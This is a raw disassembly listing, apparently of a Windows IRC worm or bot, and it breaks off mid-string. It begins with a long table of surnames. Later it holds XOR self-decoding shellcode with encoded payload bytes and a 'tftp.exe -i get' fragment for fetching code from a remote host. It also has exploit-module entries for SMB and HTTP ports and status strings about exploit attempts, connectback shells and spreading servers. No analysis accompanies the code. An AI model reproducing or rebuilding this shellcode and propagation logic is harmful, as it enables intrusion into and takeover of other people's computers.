aCurrier db 'Currier',0 ; DATA XREF: ___:0042DA20o aCui db 'Cui',0 ; DATA XREF: ___:0042DA1Co aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DA18o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DA14o align 10h aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DA10o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DA0Co aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DA08o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DA04o aCounter db 'Counter',0 ; DATA XREF: ___:0042DA00o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9FCo align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9F8o aCorey db 'Corey',0 ; DATA XREF: ___:0042D9F4o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042D9F0o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9ECo align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9E8o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9E4o align 10h aCompton db 'Compton',0 ; DATA XREF: ___:0042D9DCo ; ___:0042D9E0o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9D8o align 10h aCollard db 'Collard',0 ; DATA XREF: ___:0042D9D4o aColella db 'Colella',0 ; DATA XREF: ___:0042D9D0o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D9CCo aCoito db 'Coito',0 ; DATA XREF: ___:0042D9C8o align 10h aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D9C4o aClow db 'Clow',0 ; DATA XREF: ___:0042D9C0o align 10h aClifton db 'Clifton',0 ; DATA XREF: ___:0042D9BCo aClement db 'Clement',0 ; DATA XREF: ___:0042D9B8o aClark db 'Clark',0 ; DATA XREF: ___:0042D9B4o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042D9B0o align 10h aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D9ACo aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D9A8o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D9A4o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D9A0o align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042D99Co align 10h aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D998o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D994o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D990o aChristie db 'Christie',0 ; DATA XREF: ___:0042D98Co align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D988o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D984o align 10h aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D980o aChinman db 'Chinman',0 ; DATA XREF: ___:0042D97Co aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D978o aChilds db 'Childs',0 ; DATA XREF: ___:0042D974o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042D970o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D96Co align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D968o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D964o align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D960o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D95Co align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D958o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D954o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D950o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D94Co align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042D948o align 10h aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D944o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D940o align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D93Co align 10h aCase db 'Case',0 ; DATA XREF: ___:0042D938o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042D934o align 10h aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D930o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D92Co align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D928o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D924o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D920o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D91Co align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D918o align 10h aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D914o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D910o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D90Co aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D908o align 10h aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D904o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D900o align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8FCo align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8F8o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8F4o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8F0o align 10h aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8ECo align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8E8o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8E4o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8E0o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8DCo align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8D8o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D8D4o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D8D0o align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042D8CCo align 10h aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D8C8o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042D8C4o align 10h aBunton db 'Bunton',0 ; DATA XREF: ___:0042D8C0o align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042D8BCo aBudding db 'Budding',0 ; DATA XREF: ___:0042D8B8o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D8B4o align 10h aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D8B0o aBrook db 'Brook',0 ; DATA XREF: ___:0042D8ACo align 10h aBroca db 'Broca',0 ; DATA XREF: ___:0042D8A8o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042D8A4o align 10h aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D8A0o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D89Co aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D898o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D890o ; ___:0042D894o align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D88Co aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D888o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D884o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D880o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D87Co aBradac db 'Bradac',0 ; DATA XREF: ___:0042D878o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D874o align 10h aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D870o align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042D86Co align 10h aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D868o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D864o align 10h aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D860o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D85Co align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D858o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D854o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D850o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D84Co align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D848o align 10h aBothman db 'Bothman',0 ; DATA XREF: ___:0042D844o aBossi db 'Bossi',0 ; DATA XREF: ___:0042D840o align 10h aBorden db 'Borden',0 ; DATA XREF: ___:0042D83Co align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042D838o align 10h aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D834o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D830o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D82Co align 10h aBook db 'Book',0 ; DATA XREF: ___:0042D828o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D824o align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D820o align 10h aBonham db 'Bonham',0 ; DATA XREF: ___:0042D81Co align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042D818o align 10h aBologna db 'Bologna',0 ; DATA XREF: ___:0042D814o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D810o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D80Co align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D808o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D804o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D800o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7FCo align 10h aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7F8o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7F4o align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7F0o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7ECo align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7E8o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7E4o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7E0o align 10h aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7DCo align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7D8o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042D7D4o align 10h aBisema db 'Bisema',0 ; DATA XREF: ___:0042D7D0o align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042D7CCo aBinion db 'Binion',0 ; DATA XREF: ___:0042D7C8o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D7C4o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D7C0o align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D7BCo aBetti db 'Betti',0 ; DATA XREF: ___:0042D7B8o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D7B4o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042D7B0o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D7ACo align 10h aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D7A8o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D7A4o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D7A0o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D79Co align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D798o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D794o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D790o align 10h aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D78Co align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D788o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D784o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D780o align 10h aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D77Co align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D778o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D774o aBeder db 'Beder',0 ; DATA XREF: ___:0042D770o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D76Co aBean db 'Bean',0 ; DATA XREF: ___:0042D768o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D764o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D760o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D75Co align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D758o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D754o align 10h aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D750o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D74Co align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D748o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D744o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D740o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D73Co aBarry db 'Barry',0 ; DATA XREF: ___:0042D738o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D734o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D730o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D72Co align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D728o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D724o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D720o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D71Co align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D718o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D714o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D710o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D70Co align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D708o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D704o align 10h aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D700o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6FCo align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6F8o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6F4o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6F0o aBady db 'Bady',0 ; DATA XREF: ___:0042D6ECo align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6E8o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6E4o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042D6E0o align 10h aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6DCo align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6D8o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D6D4o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D6D0o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D6CCo aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D6C8o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D6C4o align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D6C0o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D6BCo align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D6B8o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D6B4o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042D6B0o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D6ACo aArbia db 'Arbia',0 ; DATA XREF: ___:0042D6A8o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D6A4o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D6A0o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D69Co align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D698o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042D694o align 10h aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D690o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D68Co align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D688o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D684o align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D680o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D67Co align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D678o align 10h aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D674o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D670o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D66Co aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D668o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D664o align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D660o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D65Co align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D658o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D654o align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D650o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D64Co align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D648o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D644o align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D640o align 10h aAddison db 'Addison',0 ; DATA XREF: ___:off_42D63Co aAdams db 'Adams',0 ; DATA XREF: ___:0042D638o align 10h aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D634o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D630o align 4 byte_431288 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_43128C dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431290 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431298 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_43129C dd 334B32h ; DATA XREF: ___:0040AF94o dword_4312A0 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_4312A4 dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_4312A8 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_4312AC dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_4312B0 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_4312B4 dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_4312B8 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_4312C0 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_4312D0 ; --------------------------------------------------------------------------- loc_4312CE: ; CODE XREF: ___:loc_4312D0p jmp short loc_4312D5 ; --------------------------------------------------------------------------- loc_4312D0: ; CODE XREF: ___:004312CCj call loc_4312CE loc_4312D5: ; CODE XREF: ___:loc_4312CEj pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312DC: ; CODE XREF: ___:004312E1j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312DC add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312F2: ; CODE XREF: ___:004312F7j xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312F2 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_431394 jnz short loc_431380 retn ; --------------------------------------------------------------------------- loc_431380: ; CODE XREF: ___:0043137Dj ; ___:0043138Dj call near ptr loc_431385+1 loc_431385: ; CODE XREF: ___:loc_431380p add [edx+0], ch call sub_431394 jz loc_431380 retn ; =============== S U B R O U T I N E ======================================= sub_431394 proc near ; CODE XREF: ___:00431378p ; ___:00431388p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_431394 endp ; --------------------------------------------------------------------------- align 10h dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 8 aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431440 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_431444 dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431448 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_43144C dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431450 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_431454 dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 10h dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 10h dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 10h dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 10h dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 10h dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn139_0 db 'asn139',0 align 10h db 2 dup(0) byte_431622 db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o aAsn445_0 db 'asn445',0 align 4 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_43164E ; =============== S U B R O U T I N E ======================================= sub_43163E proc near ; CODE XREF: sub_43163E:loc_43164Ep pop edx dec edx xor ecx, ecx mov cx, 166h loc_431646: ; CODE XREF: sub_43163E+Cj xor byte ptr [edx+ecx], 99h loop loc_431646 jmp short loc_431653 ; --------------------------------------------------------------------------- loc_43164E: ; CODE XREF: ___:0043163Cj call sub_43163E loc_431653: ; CODE XREF: sub_43163E+Ej jo short near ptr dword_4315DC+12h cwde cdq cdq retn sub_43163E endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 10h dword_4317D0 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317DC db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317FC db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431844 db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 10h aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431880 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431890 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_4318AC db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318E0 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h unk_431910 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h unk_431930 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_43194C db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 10h unk_431980 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_4319B8 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 unk_4319E8 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_431A1C db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 10h unk_431A50 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: 